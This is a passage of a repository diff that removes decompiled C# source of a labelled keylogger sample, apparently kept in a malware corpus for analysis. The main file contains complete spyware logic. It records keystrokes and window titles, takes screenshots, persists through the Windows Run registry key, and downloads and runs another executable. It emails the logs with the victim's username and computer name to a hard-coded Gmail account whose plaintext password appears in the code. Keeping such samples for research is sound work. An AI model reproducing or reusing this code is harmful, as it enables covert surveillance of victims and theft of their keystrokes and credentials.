if (Operators.CompareString(Left, "Subtract", false) == 0)
return "-";
if (Operators.CompareString(Left, "Add", false) == 0)
return "+";
if (Operators.CompareString(Left, "Decimal", false) == 0)
return ".";
}
else
{
if (keys == Keys.Space)
return " ";
if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes)
{
if ((Control.ModifierKeys & Keys.Shift) != Keys.None)
{
string Left = nKcdYRnOJtp.ToString();
if (Operators.CompareString(Left, "OemMinus", false) == 0)
return "_";
if (Operators.CompareString(Left, "Oemplus", false) == 0)
return "+";
if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0)
return "{";
if (Operators.CompareString(Left, "Oem6", false) == 0)
return "}";
if (Operators.CompareString(Left, "Oem5", false) == 0)
return "|";
if (Operators.CompareString(Left, "Oem1", false) == 0)
return ":";
if (Operators.CompareString(Left, "Oem7", false) == 0)
return "\"";
if (Operators.CompareString(Left, "Oemcomma", false) == 0)
return "<";
if (Operators.CompareString(Left, "OemPeriod", false) == 0)
return ">";
if (Operators.CompareString(Left, "OemQuestion", false) == 0)
return "?";
if (Operators.CompareString(Left, "Oemtilde", false) == 0)
return "~";
}
else
{
string Left = nKcdYRnOJtp.ToString();
if (Operators.CompareString(Left, "OemMinus", false) == 0)
return "-";
if (Operators.CompareString(Left, "Oemplus", false) == 0)
return "=";
if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0)
return "[";
if (Operators.CompareString(Left, "Oem6", false) == 0)
return "]";
if (Operators.CompareString(Left, "Oem5", false) == 0)
return "\\";
if (Operators.CompareString(Left, "Oem1", false) == 0)
return ";";
if (Operators.CompareString(Left, "Oem7", false) == 0)
return "'";
if (Operators.CompareString(Left, "Oemcomma", false) == 0)
return ",";
if (Operators.CompareString(Left, "OemPeriod", false) == 0)
return ".";
if (Operators.CompareString(Left, "OemQuestion", false) == 0)
return "/";
if (Operators.CompareString(Left, "Oemtilde", false) == 0)
return "`";
}
}
else
return keys == Keys.Return ? Environment.NewLine : "<" + nKcdYRnOJtp.ToString() + ">";
}
}
return (string) null;
}
private delegate int YyrofcTh(int DbDdHZdN, int BAWOnoIU, ref JFsnADcn.BwOUEeKk SzrQrxnj);
public delegate void gTTNCfFJEventHandler(string cIQQiBaY);
public delegate void PuOHJbyQEventHandler(string cIQQiBaY);
private struct BwOUEeKk
{
public int hvntnbVg;
public int pQlWcgtI;
public int zEAvYxru;
public int ooJgorLS;
public int WGNWtUkh;
}
}

696
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/LEThjJwJ.cs
View File

@ -1,696 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: LEThjJwJ
// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using My;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
[StandardModule]
internal sealed class LEThjJwJ
{
public static Mutex dLBfEuNPwTuuGh;
public static string rjxjVBchppIcvK = "FKrvSGxBA";
[AccessedThroughProperty("kIsaTynX")]
private static JFsnADcn _kIsaTynX;
public static string gGxhXIIv;
public static string yRLXDeEX;
public static string vPQWnzcg;
public static string rfBtxzmo;
public static Thread mgIEoCOQ;
public static string xuJnJYDw;
public static Process stukiwEO;
[AccessedThroughProperty("EDyaPnzo")]
private static System.Windows.Forms.Timer _EDyaPnzo;
private const int msAYJCkE = 7;
private const int yIcVuCUl = 1;
private const int omdNielE = 0;
public static string jxcDcKOc;
public static string VIWdTJnX;
public static string uuhcRjjF;
public static int hPZhzwjN;
public static int jDKZdzRz;
public static LEThjJwJ.vaQBJxmE sTIotIDI;
public static string JTYgQGSy;
public static bool sszTlWvT;
public static bool ovERJrct;
public static bool EvtnLQcV;
public static string VOwOBwVt;
public static string PeOZluvJ;
public static string zvJbKQph;
public static string yBhUjSkG;
public static int pjtQnYek;
public static bool ikJUBDRY;
static LEThjJwJ()
{
LEThjJwJ.kIsaTynX = new JFsnADcn();
LEThjJwJ.vPQWnzcg = "rVzWJrYnj";
LEThjJwJ.rfBtxzmo = "UOghDDYNX.exe";
LEThjJwJ.EDyaPnzo = new System.Windows.Forms.Timer();
LEThjJwJ.jxcDcKOc = "gia.nebeiridze@gmail.com";
LEThjJwJ.VIWdTJnX = "stinky_man";
LEThjJwJ.uuhcRjjF = "smtp.gmail.com";
LEThjJwJ.hPZhzwjN = 587;
LEThjJwJ.jDKZdzRz = 15;
LEThjJwJ.sTIotIDI = (LEThjJwJ.vaQBJxmE) 0;
LEThjJwJ.JTYgQGSy = "gii";
LEThjJwJ.sszTlWvT = true;
LEThjJwJ.ovERJrct = true;
LEThjJwJ.EvtnLQcV = true;
LEThjJwJ.VOwOBwVt = "";
LEThjJwJ.PeOZluvJ = "";
LEThjJwJ.zvJbKQph = "Title";
LEThjJwJ.yBhUjSkG = "Message";
LEThjJwJ.pjtQnYek = 0;
LEThjJwJ.ikJUBDRY = true;
}
public static JFsnADcn kIsaTynX
{
get => LEThjJwJ._kIsaTynX;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
JFsnADcn.gTTNCfFJEventHandler cfFjEventHandler = new JFsnADcn.gTTNCfFJEventHandler(LEThjJwJ.fCuNIYXT);
if (LEThjJwJ._kIsaTynX != null)
JFsnADcn.gTTNCfFJ -= cfFjEventHandler;
LEThjJwJ._kIsaTynX = value;
if (LEThjJwJ._kIsaTynX == null)
return;
JFsnADcn.gTTNCfFJ += cfFjEventHandler;
}
}
public static System.Windows.Forms.Timer EDyaPnzo
{
get => LEThjJwJ._EDyaPnzo;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(LEThjJwJ.WgTsyZuO);
if (LEThjJwJ._EDyaPnzo != null)
LEThjJwJ._EDyaPnzo.Tick -= eventHandler;
LEThjJwJ._EDyaPnzo = value;
if (LEThjJwJ._EDyaPnzo == null)
return;
LEThjJwJ._EDyaPnzo.Tick += eventHandler;
}
}
[DllImport("kernel32.dll", EntryPoint = "GetConsoleWindow", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr LCEyJcnQ();
[DllImport("user32.dll", EntryPoint = "ShowWindow", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int skyYpCyb(IntPtr gAJgPgye, int kGjdmflr);
[DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int CEcSDPKN();
[DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int lQvLavEF(int gAJgPgye, [MarshalAs(UnmanagedType.VBByRefStr)] ref string EvQdUmPZ, int zjhoEdTz);
private static string AmaPJUJp()
{
string EvQdUmPZ = new string(char.MinValue, 100);
LEThjJwJ.lQvLavEF(LEThjJwJ.CEcSDPKN(), ref EvQdUmPZ, 100);
return EvQdUmPZ.Substring(0, checked (Strings.InStr(EvQdUmPZ, "\0") - 1));
}
public static void iuprKERd(string nJJcXJyI, string KwvchNGL)
{
RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
subKey.SetValue(nJJcXJyI, (object) KwvchNGL);
}
public static void luatbVEQ(string nJJcXJyI)
{
RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
subKey.DeleteValue(nJJcXJyI, false);
}
public static void BdxchQoW(string BRXObLtJ)
{
try
{
Mutex.OpenExisting(BRXObLtJ);
ProjectData.EndApp();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
LEThjJwJ.dLBfEuNPwTuuGh = new Mutex(false, BRXObLtJ);
ProjectData.ClearProjectError();
}
}
public static string JGkBFPXA(int viVGLcwp, int pQcuhISQ)
{
Random random = new Random();
string str1 = (string) null;
string str2 = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM";
int num1 = random.Next(checked (viVGLcwp + 1), pQcuhISQ);
int num2 = 1;
while (num2 <= num1)
{
int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f)));
str1 += Conversions.ToString(str2[index]);
checked { ++num2; }
}
return str1;
}
private static void fCuNIYXT(string fStbJfxc)
{
if (Operators.CompareString(LEThjJwJ.yRLXDeEX, LEThjJwJ.AmaPJUJp(), false) != 0)
{
LEThjJwJ.gGxhXIIv = LEThjJwJ.gGxhXIIv + "\r\n[TITLE: " + LEThjJwJ.AmaPJUJp() + "]:\r\n";
LEThjJwJ.yRLXDeEX = LEThjJwJ.AmaPJUJp();
Console.WriteLine("\r\n[TITLE: " + LEThjJwJ.AmaPJUJp() + "]:");
}
LEThjJwJ.gGxhXIIv += fStbJfxc;
Console.Write(fStbJfxc);
}
private static void WgTsyZuO(object ZdVSbQJD, EventArgs xakvoUus)
{
Console.WriteLine("A new log is sending...");
new Thread((ParameterizedThreadStart) (a0 => LEThjJwJ.JZFauwox(Conversions.ToString(a0))))
{
IsBackground = true
}.Start((object) LEThjJwJ.gGxhXIIv);
LEThjJwJ.gGxhXIIv = "";
}
private static void JZFauwox(string aBATHoge)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
string str = Path.GetTempPath() + "\\" + LEThjJwJ.JGkBFPXA(5, 10) + ".png";
label_2:
num3 = 3;
if (!LEThjJwJ.sszTlWvT)
goto label_7;
label_3:
num3 = 4;
urEVdlZmdSt.bDDtTQGvBoP();
label_4:
num3 = 5;
if (!System.IO.File.Exists(str))
goto label_6;
label_5:
num3 = 6;
System.IO.File.Delete(str);
label_6:
num3 = 8;
urEVdlZmdSt.phJSglASvYa.Save(str, ImageFormat.Png);
label_7:
num3 = 10;
MailMessage message = new MailMessage();
label_8:
num3 = 11;
SmtpClient smtpClient1 = new SmtpClient(LEThjJwJ.uuhcRjjF);
label_9:
num3 = 12;
SmtpClient smtpClient2 = smtpClient1;
label_10:
num3 = 13;
smtpClient2.EnableSsl = true;
label_11:
num3 = 14;
smtpClient2.Credentials = (ICredentialsByHost) new NetworkCredential(LEThjJwJ.jxcDcKOc, LEThjJwJ.VIWdTJnX);
label_12:
num3 = 15;
smtpClient2.Port = LEThjJwJ.hPZhzwjN;
label_13:
smtpClient2 = (SmtpClient) null;
label_14:
num3 = 17;
MailMessage mailMessage = message;
label_15:
num3 = 18;
mailMessage.To.Add(LEThjJwJ.jxcDcKOc);
label_16:
num3 = 19;
mailMessage.From = new MailAddress(LEThjJwJ.jxcDcKOc);
label_17:
num3 = 20;
mailMessage.Subject = LEThjJwJ.JTYgQGSy;
label_18:
num3 = 21;
mailMessage.Body = aBATHoge;
label_19:
num3 = 22;
if (!LEThjJwJ.sszTlWvT)
goto label_21;
label_20:
num3 = 23;
mailMessage.Attachments.Add(new Attachment(str));
label_21:
num3 = 25;
if (!LEThjJwJ.EvtnLQcV)
goto label_23;
label_22:
num3 = 26;
mailMessage.Body = "Victim Username: " + LEThjJwJ.NYEUyahw().ToString() + "\r\n" + mailMessage.Body;
label_23:
num3 = 28;
if (!LEThjJwJ.ovERJrct)
goto label_25;
label_24:
num3 = 29;
mailMessage.Body = "Victim Computer Name: " + MyProject.Computer.Name + "\r\n" + mailMessage.Body;
label_25:
mailMessage = (MailMessage) null;
label_26:
num3 = 32;
smtpClient1.Send(message);
label_27:
num3 = 33;
Console.WriteLine("##### Logs have been sent! #####");
goto label_34;
label_29:
num2 = num3;
switch (num1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
case 8:
goto label_6;
case 9:
case 10:
goto label_7;
case 11:
goto label_8;
case 12:
goto label_9;
case 13:
goto label_10;
case 14:
goto label_11;
case 15:
goto label_12;
case 16:
goto label_13;
case 17:
goto label_14;
case 18:
goto label_15;
case 19:
goto label_16;
case 20:
goto label_17;
case 21:
goto label_18;
case 22:
goto label_19;
case 23:
goto label_20;
case 24:
case 25:
goto label_21;
case 26:
goto label_22;
case 27:
case 28:
goto label_23;
case 29:
goto label_24;
case 30:
case 31:
goto label_25;
case 32:
goto label_26;
case 33:
goto label_27;
case 34:
goto label_34;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_29;
}
throw ProjectData.CreateProjectError(-2146828237);
label_34:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private static void jYWYkXJT()
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
WebClient webClient = new WebClient();
label_2:
num3 = 3;
Uri address = new Uri(LEThjJwJ.VOwOBwVt);
label_3:
num3 = 4;
LEThjJwJ.xuJnJYDw = Path.GetTempPath() + "\\" + LEThjJwJ.JGkBFPXA(5, 10) + ".exe";
label_4:
num3 = 5;
webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(LEThjJwJ.hTFrrRkv);
label_5:
num3 = 6;
webClient.DownloadFileAsync(address, LEThjJwJ.xuJnJYDw);
goto label_12;
label_7:
num2 = num3;
switch (num1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_12;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_7;
}
throw ProjectData.CreateProjectError(-2146828237);
label_12:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private static void hTFrrRkv(object ZdVSbQJD, AsyncCompletedEventArgs xakvoUus)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
Process process = new Process();
label_2:
num3 = 3;
ProcessStartInfo processStartInfo = process.StartInfo;
label_3:
num3 = 4;
processStartInfo.FileName = LEThjJwJ.xuJnJYDw;
label_4:
num3 = 5;
processStartInfo.UseShellExecute = true;
label_5:
processStartInfo = (ProcessStartInfo) null;
label_6:
num3 = 7;
process.Start();
goto label_13;
label_8:
num2 = num3;
switch (num1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_13;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_8;
}
throw ProjectData.CreateProjectError(-2146828237);
label_13:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private static string NYEUyahw()
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string str = folderPath.Remove(folderPath.LastIndexOf("\\"));
return str.Substring(checked (str.LastIndexOf("\\") + 1));
}
[STAThread]
public static void Main()
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
LEThjJwJ.BdxchQoW(LEThjJwJ.rjxjVBchppIcvK);
label_2:
num3 = 3;
System.Windows.Forms.Timer timer = LEThjJwJ.EDyaPnzo;
label_3:
num3 = 4;
timer.Interval = checked (LEThjJwJ.jDKZdzRz * int.Parse(Conversions.ToString(unchecked ((int) LEThjJwJ.sTIotIDI))));
label_4:
num3 = 5;
timer.Start();
label_5:
timer = (System.Windows.Forms.Timer) null;
label_6:
num3 = 7;
LEThjJwJ.mgIEoCOQ = new Thread(new ThreadStart(LEThjJwJ.jYWYkXJT));
label_7:
num3 = 8;
Thread thread = LEThjJwJ.mgIEoCOQ;
label_8:
num3 = 9;
thread.IsBackground = true;
label_9:
num3 = 10;
thread.Start();
label_10:
thread = (Thread) null;
label_11:
num3 = 12;
LEThjJwJ.stukiwEO = new Process();
label_12:
num3 = 13;
Process process = LEThjJwJ.stukiwEO;
label_13:
num3 = 14;
process.StartInfo.FileName = LEThjJwJ.PeOZluvJ;
label_14:
num3 = 15;
process.StartInfo.UseShellExecute = true;
label_15:
num3 = 16;
process.Start();
label_16:
process = (Process) null;
label_17:
num3 = 18;
if (!LEThjJwJ.ikJUBDRY)
goto label_19;
label_18:
num3 = 19;
int num4 = (int) Interaction.MsgBox((object) LEThjJwJ.yBhUjSkG, (MsgBoxStyle) LEThjJwJ.pjtQnYek, (object) LEThjJwJ.zvJbKQph);
label_19:
num3 = 21;
Console.WriteLine("SkyNeos V1.0 Keylogger Engine Started Successfully!");
label_20:
num3 = 22;
string str = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
label_21:
num3 = 23;
MyProject.Computer.FileSystem.CreateDirectory(str + "\\" + LEThjJwJ.vPQWnzcg);
label_22:
num3 = 24;
str = str + "\\" + LEThjJwJ.vPQWnzcg + "\\" + LEThjJwJ.rfBtxzmo;
label_23:
num3 = 25;
MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, str, true);
label_24:
num3 = 26;
LEThjJwJ.iuprKERd(LEThjJwJ.vPQWnzcg, str);
label_25:
num3 = 27;
LEThjJwJ.kIsaTynX.PcxsAocU();
label_26:
num3 = 28;
Application.Run();
goto label_33;
label_28:
num2 = num3;
switch (num1)
{
case 1:
int num5 = num2 + 1;
num2 = 0;
switch (num5)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_16;
case 18:
goto label_17;
case 19:
goto label_18;
case 20:
case 21:
goto label_19;
case 22:
goto label_20;
case 23:
goto label_21;
case 24:
goto label_22;
case 25:
goto label_23;
case 26:
goto label_24;
case 27:
goto label_25;
case 28:
goto label_26;
case 29:
goto label_33;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_28;
}
throw ProjectData.CreateProjectError(-2146828237);
label_33:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public enum vaQBJxmE
{
aXkYYJKL = 1,
JgRQRhvl = 1000, // 0x000003E8
BWTnexoO = 60000, // 0x0000EA60
osxyULbv = 3600000, // 0x0036EE80
}
}

18
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyApplication.cs
View File

@ -1,18 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyApplication : ApplicationBase
{
}
}

24
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyComputer.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}

108
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyProject.cs
View File

@ -1,108 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[HideModuleName]
[StandardModule]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[ComVisible(false)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}

47
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/Trojan-Spy.MSIL.KeyLogger.aww.csproj
View File

@ -1,47 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{03F0188F-F5AB-4714-8A3F-C63F281C3390}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>server</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="LEThjJwJ.cs" />
<Compile Include="JFsnADcn.cs" />
<Compile Include="urEVdlZmdSt.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/Trojan-Spy.MSIL.KeyLogger.aww.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "server", "Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.csproj", "{03F0188F-F5AB-4714-8A3F-C63F281C3390}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{03F0188F-F5AB-4714-8A3F-C63F281C3390}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{03F0188F-F5AB-4714-8A3F-C63F281C3390}.Debug|Any CPU.Build.0 = Debug|Any CPU
{03F0188F-F5AB-4714-8A3F-C63F281C3390}.Release|Any CPU.ActiveCfg = Release|Any CPU
{03F0188F-F5AB-4714-8A3F-C63F281C3390}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

81
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/urEVdlZmdSt.cs
View File

@ -1,81 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: urEVdlZmdSt
// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
[StandardModule]
internal sealed class urEVdlZmdSt
{
public static Bitmap phJSglASvYa = (Bitmap) null;
public static byte[] VgwkYxIHKar;
